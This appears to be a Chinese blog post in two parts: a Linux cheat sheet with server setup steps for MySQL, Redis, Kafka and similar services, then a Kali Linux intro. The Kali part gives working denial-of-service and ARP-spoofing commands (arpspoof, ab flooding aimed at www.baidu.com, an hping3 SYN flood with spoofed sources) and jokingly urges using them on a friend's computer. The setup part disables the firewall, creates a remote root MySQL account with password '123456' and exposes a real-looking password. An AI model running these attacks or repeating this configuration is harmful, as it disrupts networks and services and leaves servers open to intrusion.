1、常用指令1.1 进程ps -ef | grep nginx 查看包含nginx的进程 kill -9 进程号 结束进程1.2 网络配置ifconfig 查看网络配置 lsof -i:3306 查询3306端口占用情况 systemctl restart network 重新启动网络服务1.3 系统命令关机 shutdown poweroff halt重启 reboot查看磁盘占用情况 df -h1.4 展示ls 简略展示 ll 详细展示 ls -a 显示隐藏文件1.5 路径pwd 当前路径 ls ./ 当前目录 ls ../ 上级目录 ls /home/admin 绝对路径 ls ../home/admin 相对路径1.6 文件夹mkdir test01 创建文件夹 mkdir -p aa/bb/cc 创建多级目录 rmdir test01 删除文件夹 rm -rf aa 删除多级目录(不提示递归强制删除)或文件* mv test01 test02 重命名文件夹或文件 mv test01 /opt/test 重命名并移动文件夹或文件 cp -R aa test/ 复制文件夹或文件1.7 文件操作touch abc.txt 或者 >abc.c 创建文件 tail -f abc.txt 实时查看文件 cat abc.txt 由第一行开始显示 cat aaa > bbb 把aaa文件的内容复制到bbb文件中 cat aaa >> bbb 把aaa的内容追加到bbb的末尾 echo 字符串 写入字符串 echo 字符串 >> bbb 将字符串追加到bbb的末尾 tac abc.txt 从最后一行开始显示 nl abc.txt 显示的时候顺带输出行号 more abc.txt 一页一页的显示 head abc.txt 从头开始看 head -10 abc.txt 查看前10行1.8 文本编辑进入文件编辑模式 vim 文件名编辑模式下i 光标所在位置插入 I 光标所在行的头部插入 a 光标所在位置的下一个位置开始插入 A 光标所在行的末尾插入 o 光标所在位置的下一行插入 O 光标所在位置的上一行插入 esc 退出编辑模式 :q 退出 :wq 保存并退出 :wq! 强制保存并退出命令模式下:set nu 显示行号 :set nonu 取消行号 G 到最后一行 gg 到首行 ngg/nG 跳到n行 yy 复制所在行 nyy 从当前行往下复制n行 yy 复制光标所在行 p 粘贴到下一行 u 撤销上一步操作(相当于ctrl+z) dd 删除当前行 ndd 从当前行往下删除n行 x 删除光标所在位置的字符 nx 从光标位置往后删除n个字符 /字符 全文检索 n往上 N往下 :%s/sss/ggg/g 全文替换sss为ggg1.9 用户和组su 用户名 切换用户 useradd 用户名 添加用户 userdel -r 用户名 删除用户 cat /etc/passwd 查看用户 passwd 用户名 设置用户密码 usermod -L 用户名 锁定用户 usermod -U 用户名 解锁用户 cat /etc/group 查看组 groupadd 组名 添加组 groupdel -f 组名 删除组(如果组下有用户，删除不了)* usermod -g 组名 用户名 修改组 groupmod -g 2105 web 修改组的ID改为GID groupmod -n www web 修改组的名称1.10 权限文件的权限为9个字母，三个三个一组1 : 当前目录/文件的性质 d (目录) l (bin) -(文件) 2-4: 所属用户的权限 5-7: 所属组的权限 8-10: 其他用户和组的权限 r: read 读 w: write 写 x: execute 执行 -: 占位 没有权限 可以使用数字代替:( r:4 w:2 x:1) 更改用户: chown 用户名 文件名 ===> change owner 更改组: chgrp 用户名 文件名 ==> change group 更改权限: chmod 777 文件名 ===> change modirfire chown root:root 文件名 变更当前的目录或文件的所属用户和组 chown -R root:root 文件名 变更目录中的所有子目录及文件的所属用户和组 chmod u=rwx,g=rx,o=rx 文件名2、基本配置2.1 设置中文如果执行help时全是英文，则执行 locale如果出现LANG=en_US.xxx的话，说明系统默认编码为ASCII，不支持中文字符集打开locale配置文件 vim /etc/default/locale在文件加入以下内容LANG=zh_CN.UTF-8 LANGUAGE=zh_CN:zh:en_US:en LC_CTYPE="zh_CN.UTF-8" LC_NUMERIC="zh_CN.UTF-8" LC_TIME="zh_CN.UTF-8" LC_COLLATE="zh_CN.UTF-8" LC_MONETARY="zh_CN.UTF-8" LC_MESSAGES="zh_CN.UTF-8" LC_PAPER="zh_CN.UTF-8" LC_NAME="zh_CN.UTF-8" LC_ADDRESS="zh_CN.UTF-8" LC_TELEPHONE="zh_CN.UTF-8" LC_MEASUREMENT="zh_CN.UTF-8" LC_IDENTIFICATION="zh_CN.UTF-8"重新加载配置文件 source /etc/default/locale2.2 静态IP进到网卡配置文件 vim /etc/sysconfig/network-scripts/ifcfg-ens33修改配置 BOOTPROTO="static" dhcp表示动态获取IP地址，static表示静态IP，none表示不指定，在尾部加上IPADDR=192.168.126.133 GATEWAY=192.168.126.2 NATMASK=255.255.255.0 DNS1=8.8.8.8 DNS2=114.114.114.114重启网络服务 systemctl restart network如果ping不通 www.baidu.com，进到配置文件 vim /etc/resolv.conf 在尾部加上nameserver 114.114.114.114 nameserver 8.8.8.8 nameserver 1.1.1.12.3 防火墙systemctl status firewalld 查询防火墙状态 systemctl stop firewalld 关闭防火墙(本次) systemctl start firewalld 开启防火墙(本次) systemctl disable firewalld 永久关闭防火墙 重启生效 systemctl enable firewalld 开启防火墙 重启生效 firewall-cmd --reload 重启防火墙 开放端口（修改后需要重启防火墙方可生效）: firewall-cmd --zone=public --add-port=8080/tcp --permanent 查看开放的端口: firewall-cmd --list-ports 关闭端口: firewall-cmd --zone=public --remove-port=8080/tcp --permanent2.4 jdk安装解压jdk tar -zxvf jdk-8u361-linux-x64.tar.gz配置环境变量 vim /etc/profile在最后插入export JAVA_HOME=/opt/jdk1.8.0_361/ export PATH=$JAVA_HOME/bin:$PATH重新加载配置 source /etc/profile2.5 tomcat安装（默认8080端口）解压tomcat tar -zxvf apache-tomcat-8.5.73.tar.gz进入bin目录./startup.sh 启动文件 ./shutdown.sh 关闭文件配置tomcat集群，在/opt目录下创建目录 mkdir tomcat将解压的文件移动到/opt/tomcat下并重命名 mv apache-tomcat-8.7.73 /opt/tomcat/tomcat-8080copy一份到/opt/tomcat下并重命名为tomcat-8081修改 vim /opt/tomcat/tomcat-8081/conf/server.xml ，将server的port改成8086，connector的port改成8081<Server port="8006" shutdown="SHUTDOWN"> <Connector port="8081" protocol="HTTP/1.1" connectionTimeout="20000" redirectPort="8443" />分别启动两个tomcat/opt/tomcat/tomcat-8080/bin/startup.sh /opt/tomcat/tomcat-8081/bin/startup.sh查看是否启动 ps -ef | grep tomcat2.6 nginx安装（默认80端口）如果没有 gcc 和 make 环境，需要安装 gcc 和 make*yum -y install autoconf automake make 安装 make yum -y install gcc gcc-c++ 安装 g++安装 nginx 依赖的库yum -y install pcre pcre-devel yum -y install zlib zlib-devel yum install -y openssl openssl-devel配置安装路径 ./configure --prefix=/usr/local/nginx编译安装 make && make install启动nginx /usr/local/nginx/sbin/nginx /sbin目录下的指令./nginx 启动 ./nginx -s reload 重启 ./nginx -s stop 停止 ./nginx -v 查看版本 ./nginx -V 显示版本号并且显示安装配置 ./nginx -t 检验配置文件是否正确 ./nginx -c filename 指定配置文件启动配置负载均衡，由于上面安装nginx的路径指向到了/usr/local/nginx的下面，所以 vim /usr/local/nginx/conf/nginx.conf在http{}中间插入# 负载均衡策略【1.ip_hash 2.weight 3.url_hash 4.least_conn】默认轮询 upstream test{ server localhost:8080; server localhost:8081; } server { listen 8989; server_name localhost; location / { # 反向代理 proxy_pass http://test; } }简单解释一下，监听8989端口，将访问8989端口的请求转发到本机的8080端口和8081端口，没配置权重，默认就是轮询，也就是8080和8081按顺序转发，一人一次请求2.7 redis安装（默认6379端口）如果没有gcc环境，需要安装gcc* yum -y install gcc gcc-c++ 解压redis tar -zxvf redis-5.0.5.tar.gzcd到解压后的文件夹里，执行make进行编译 make安装(在这里安装的目的就是为了生成redis的bin目录) make PREFIX=/opt/redis-5.0.5 install安装完后，在/opt/redis-5.0.5/bin下有几个可执行文件redis-benchmark ----性能测试工具 redis-check-aof ----AOF文件修复工具 redis-check-dump ----RDB文件检查工具（快照持久化文件） redis-cli ----命令行客户端 redis-server ----redis服务器启动命令后端模式启动，修改redis.conf配置文件修改 daemonize yes 修改 bind 0.0.0.0 就可以远程连接默认加载不了配置，每次启动redis服务器的时候，指定配置文件 ./bin/redis-server ./redis.conf正确停止Redis的方式应该是向Redis发送shutdown命令，先进入redis的bin目录再执行 ./redis-cli shutdown2.8 mysql安装（默认3306端口）查看系统自带的Mariadb rpm -qa|grep -i mariadb-libs卸载之前的版本 rpm -e --nodeps mariadb-libs-5.5.68-1.el7.x86_64下载MySQL仓库并安装 wget https://repo.mysql.com//mysql80-community-release-el7-3.noarch.rpm执行以下命令再安装即可yum -y install mysql80-community-release-el7-3.noarch.rpm rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022安装MySQL数据库 yum -y install mysql-community-server启mysql服务 systemctl start mysqld.service一些服务指令systemctl status mysqld 查看状态 systemctl stop mysqld 关闭 systemctl start mysqld 启动 systemctl restart mysqld 重新启动查看mysql默认密码(需要使用默认密码登录) cat /var/log/mysqld.log | grep password默认密码 aKAWr;adS1*A连接MySQL mysql -uroot -p重置一个复杂密码 ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY 'Llh020920.';查询密码验证结构 SHOW variables LIKE 'validate_password%';设置密码验证规则set global validate_password.policy=LOW; set global validate_password.length=4;创建用户并设置密码 create user 'root'@'%' identified by '123456';给指定的用户授权 grant all on *.* to 'root'@'%' with grant option;刷新权限 flush privileges;2.9 elasticsearch安装（默认9200端口）解压 tar -zxvf elasticsearch-7.9.3-linux-x86_64.tar.gz在解压目录里创建存储数据目录mkdir -p es_data/datas mkdir -p es_data/logs修改 vim config/elasticsearch.yml 配置文件，指定文件内容文件和日志文件path.data: /opt/elasticsearch-7.9.3/es_data/datas path.logs: /opt/elasticsearch-7.9.3/es_data/logs接着插入node.name: node-1 bootstrap.memory_lock: false bootstrap.system_call_filter: false network.host: 0.0.0.0 http.port: 9200 discovery.seed_hosts: ["127.0.0.1"] cluster.initial_master_nodes: ["node-1"]编辑 vim /etc/security/limits.conf，追加以下内容* soft nofile 65536 * hard nofile 65536 * soft nproc 4096 * hard nproc 4096编辑 vim /etc/sysctl.conf，追加以下内容vm.max_map_count=262144创建用户 useradd es设置密码 passwd es修改es的用户和组权限 chown -R es:es ./elasticsearch-7.9.3切换es用户启动 su es /opt/elasticsearch-7.9.3/bin/elasticsearch -d 快速查看是否启动es jps2.10 kibana安装（默认5601）解压 tar -zxvf kibana-7.9.3-linux-x86_64.tar.gz配置 vim /opt/kibana-7.9.3/config/kibana.yml 修改以下内容server.port: 5601 server.host: 0.0.0.0 elasticsearch.hosts: ["http://127.0.0.1:9200"] i18n.locale: "zh-CN"启动kibana /opt/kibana-7.9.3/bin/kibana --allow-root2.11 IK分词器安装cd到es安装目录下的plugins中 cd /opt/elasticsearch-7.9.3/plugins/创建名为ik的文件夹 mkdir ik解压到指定文件夹 unzip elasticsearch-analysis-ik-7.9.3.zip -d ./ik/扩展词典，进入ik下的config目录，修改配置文件 vim IKAnalyzer.cfg.xml ext.dict 在config目录下创建此文件 > ext.dict在文件中加入想要扩展的词典即可随后重启es即可使用分词器和扩展词典2.12 logstash安装解压 tar -zxvf logstash-7.9.3.tar.gz新建一个配置文件 vim /opt/logstash-7.9.3/config/demo.conf追加以下内容input{ file{ path=>["/opt/elasticsearch-7.9.3/es_data/logs/*.log"] type=>"logstash_log" start_position =>"beginning" } } output{ elasticsearch{ hosts=>["127.0.0.1:9200"] index=>"log-%{+YYYY.MM.dd}" } }启动logstash(在启动logstash之前要确保es已经启动) /opt/logstash-7.9.3/bin/logstash -f /opt/logstash-7.9.3/config/demo.conf2.12 es头插件安装在Google浏览器安装扩展 Multi Elasticsearch Head2.13 kafka单机版安装（默认9092）首先查看jdk环境 java -version如果没有配环境变量需要先行配置jdk的环境变量解压 tar -zxvf kafka_2.11-0.11.0.2.tgz重命名为 mv kafka_2.11-0.11.0.2 kafka-2.11cd 到 config 目录下，创建两个日志文件夹 mkdir kafka-logs，mkdir zk-logs修改 vim ./server.properties如下：修改log.dirs=/opt/kafka-2.11/config/kafka-logs 修改listeners=PLAINTEXT://192.168.126.133:9092 添加host.name=192.168.126.133 (这里是自己虚拟机的ip地址) 放开注释delete.topic.enable=true (删除主题，默认未开启)修改 vim ./zookeeper.properties如下：修改dataDir=/opt/kafka-2.11/config/zk-logs单机命令，有先后顺序*:先启动zookeeper：/opt/kafka-2.11/bin/zookeeper-server-start.sh /opt/kafka-2.11/config/zookeeper.properties再启动kafka：/opt/kafka-2.11/bin/kafka-server-start.sh /opt/kafka-2.11/config/server.properties /opt/kafka-2.11/bin/kafka-server-start.sh /opt/kafka-2.11/config/server.properties & (后台启动)创建名为test的主题：/opt/kafka-2.11/bin/kafka-topics.sh --create --zookeeper 192.168.126.133:2181 --replication-factor 1 --partitions 1 --topic test查看主题：/opt/kafka-2.11/bin/kafka-topics.sh --list --zookeeper 192.168.126.133:2181删除主题：/opt/kafka-2.11/bin/kafka-topics.sh --delete --topic test --zookeeper 192.168.126.133:2181启动生产者：/opt/kafka-2.11/bin/kafka-console-producer.sh --broker-list 192.168.126.133:9092 --topic test启动消费者：/opt/kafka-2.11/bin/kafka-console-consumer.sh --bootstrap-server 192.168.126.133:9092 --topic test (从现在生产者发送消息开始接收) /opt/kafka-2.11/bin/kafka-console-consumer.sh --bootstrap-server 192.168.126.133:9092 --topic test --from-beginning (从第一条开始接收)2.14 zookeeper集群部署（默认2181）从VMware中克隆3份机器，命名为broker1，broker2，broker3，将三台机器的IP分别修改静态IP， vim /etc/sysconfig/network-scripts/ifcfg-ens33192.168.126.134 192.168.126.135 192.168.126.136每修改完一个机器都要重启网络服务，systemctl restart network，使其生效解压zookeeper，tar -zxvf zookeeper-3.4.10.tar.gzcd zookeeper-3.4.10/目录下，新建mkdir data文件夹cd conf/目录下，重命名mv zoo_sample.cfg zoo.cfg修改配置文件，vim zoo.cfg：修改dataDir=/opt/zookeeper-3.4.10/data 添加以下 server.1=192.168.126.134:2888:3888 server.2=192.168.126.135:2888:3888 server.3=192.168.126.136:2888:3888指定myid文件，内容就是对应的server.1:echo "1">/opt/zookeeper-3.4.10/data/myid echo "2">/opt/zookeeper-3.4.10/data/myid echo "3">/opt/zookeeper-3.4.10/data/myid启动zookeeper之前，需要注意防火墙，要么开放端口，要么禁用防火墙systemctl stop firewalld.service 停用防火墙（临时） systemctl disable firewalld 禁用防火墙 systemctl status firewalld 查看防火墙状态 firewall-cmd --reload 重启防火墙三台机器分别启动zookeeper，/opt/zookeeper-3.4.10/bin/zkServer.sh start查看状态，/opt/zookeeper-3.4.10/bin/zkServer.sh status停止服务，/opt/zookeeper-3.4.10/bin/zkServer.sh stop2.15 kafka集群部署在单机版kafka基础之上，编辑配置文件， vim /opt/kafka-2.11/config/server.properties第一台机器：修改 broker.id=0 添加 num.partitions=3 修改 zookeeper.connect=192.168.126.134:2181,192.168.126.135:2181,192.168.126.136:2181第二台机器同理，只需要修改 broker.id=1第三台机器同理，只需要修改 broker.id=2由于是克隆的单机版kafka，之前如果启动过，会产生日志文件，也就是server.0的日志，所以需要先清理logsrm -rf /opt/kafka-2.11/kafka-logs/* rm -rf /opt/kafka-2.11/zk-logs/*2.16 集群命令三台机器分别启动zookeeper：/opt/zookeeper-3.4.10/bin/zkServer.sh start三台机器分别启动kafka：/opt/kafka-2.11/bin/zookeeper-server-start.sh /opt/kafka-2.11/config/zookeeper.properties创建主题(使用第一个zookeeper)：/opt/kafka-2.11/bin/kafka-topics.sh -create --zookeeper 192.168.126.134:2181 --replication-factor 3 --partitions 3 --topic test查看主题(使用第二个zookeeper)：/opt/kafka-2.11/bin/kafka-topics.sh --list --zookeeper 192.168.126.135:2181启动集群生产者：/opt/kafka-2.11/bin/kafka-console-producer.sh --broker-list 192.168.126.134:2181,192.168.126.135:2181,192.168.126.136:2181 --topic test启动集群消费者：/opt/kafka-2.11/bin/kafka-console-consumer.sh --bootstrap-server 192.168.126.134:2181,192.168.126.135:2181,192.168.126.136:2181 --topic test3、常见问题3.1 使用ifconfig查看不到网卡信息在命令行输入 rm -rf /var/lib/Network
1、什么是 Kali ？Kali 是由 Offensive Security 公司开发和维护的。它在安全领域是一家知名的、值得信赖的公司，它甚至还有一些受人尊敬的认证，来对安全从业人员做资格认证（OSCP）。2、Kali 是为你准备的吗？Kali 并不是为普通用户准备的，Kali 并不是个玩具，你可以使用它内置的工具去做一些会产生真实伤害的危险的事（你懂的），对于一个未受到严格教育的用户来说，做一些严重违法的事情是很容易的，并且之后你就会发现自己被陷入很无助的境地。但是，Kali 对于一个专业用户来说，它是一个极好的工具，Kali 可以做到你所希望的一切事情。3、安装与使用3.1、VMware的安装就不展开说了，如果这个不会安装，后面的操作根本没法进行了，自行百度吧3.2、Kali Linux的安装官网链接：https://www.kali.org/get-kali/#kali-installer-images选择64位的iso镜像文件下载，如果你懂得BT，就选择中间的torrent种子文件下载打开虚拟机，新建虚拟机新手建议安装推荐的典型安装就行，不然到时候不是没GUI界面就是少驱动程序，避免不必要的麻烦，点击下一步由于kali是基于DeBian系统的，俗称“大便”系统，这里无法像CentOS和Ubuntu那样直接识别到，我们选择稍后安装操作系统，点击下一步这里选择linux，在版本里找到DeBian 10.x 64位及以上的就行，下一步这里要注意一下，这里的磁盘大小并不是说设置100G，就会立马从你磁盘空间分走100G，而是随着日常使用，累积的起来的最大值，不能超过100G，随便设置，点击下一步这里点击自定义硬件，内存和处理器根据你实际的电脑配置而定，处理器可以右键我的电脑-->管理-->设备管理器-->处理器，这里显示的是线程数由于之前我们选择的是稍后安装操作系统，所以得在这里指定一下iso镜像文件重要的是网络配置器，如果是在家中，ip地址不会经常变动的、网速还不错的，就可以选择桥接模式，复制网络状态，这会给虚拟机单独分配一个你当前网段的ip，后期设置静态ip更方便一些如果是在校园网，建议选择NAT模式，他会让虚拟机和你主机共用一个ip地址，这样校园网的认证就不会被挤掉了打印机可以选中，点击移除，他在后台占用的资源还比较多的接着点击完成，启动虚拟机，安装引导过程就不展示了，根据默认提示一直下一步。如果一切顺利的话，来到登录页面，账户和密码都是默认的 kali进到这个界面，就代表成功了！点击左上角的黑窗口，输入：sudo su 切换root用户第一次会提示输入密码，也就是 kali，当 $ 变成 # 的时候就代表你已经拥有至高无上的root权限了🐶紧接着我们输入：ifconfig 在windows里ipconfig查看ip地址首先找到你的eth0网卡，因为有些安装了其他软件，有其他网卡，只看这个，inet是你虚拟机的IPV4地址，netmask是你虚拟机的子网掩码，broadcast是你虚拟机的广播地址，我们记住有效的10.163.30.1233.3、网络攻击行为3.3.1、ARP欺骗简单来说，就是利用广播地址，发送假ip地址，主机识别不了，就会一直等待，达到断网的效果。使用kali自带的nmap工具，嗅觉当前网段下存活（在线）的主机nmap -v -sn 服务网关/子网掩码（如：10.163.30.1/24) fping -asg 服务网关/子网掩码（如：10.163.30.1/24) nmap -sn 10.163.30.1/24|grep "10.163.30" 分组过滤 以我的ip为例：10.163.30.123 服务网关就是10.163.30.1 24是固定端口 输入 nmap -v -sn 10.163.30.1/24如图所示：我们可以看到网关的品牌，已下线的主机，在线的主机ip以及品牌和MAC设备地址，如果你懂的话，MAC设备地址可真是个好东西，我们就记住有效的：10.163.30.13这里有个小技巧，在linux系统里想复制粘贴的话，可以使用ctrl+shift+C和ctrl+shift+V，就不会出现类似^[c这样的符号了接着输入：arpspoof -i eth0 -t 要攻击的ip 服务网关 arpspoof -i eth0 -t 10.163.30.13 10.163.30.1如图所示，就代表你成功了！此时电脑右下角的网络图标并不会断网，但就是没网，你说气不气？🐶使用nmap是当你不知道对方的ip时，但你可以趁好兄弟不在，在他电脑快速敲入:xin+R-->cmd-->ipconfig记下ip地址，使用上面的命令，看你好兄弟的反应？🙃3.3.2、cc攻击ab -n (参数）-c （参数）网址 ab -n 1000 -c 1002 www.baidu.com3.3.3、ab攻击ab -n 100000 -c 100 http://172.16.10.111:5885/#/ 参数一是并发数（请求的用户量） 参数二是发送总量（请求的总次数）3.3.4、洪水攻击hping3 -c 100000 -d 1200 -S -w 64 -p 80 --flood --rand-source 172.16.10.111 -c后面是你要形成的洪水量，比如说100000，就相当与100000个人在服务器里，于是你也就明白了DDos的原理，假设一个超市来了一群人，只看不买，道理一样。 -d后面是包大小4、忠告Kali学得好，监狱蹲到老，这可不是一句唬人的话。凡事三思而后行，使用不当可能会坐牢，我们还是要做个遵纪守法的好公民！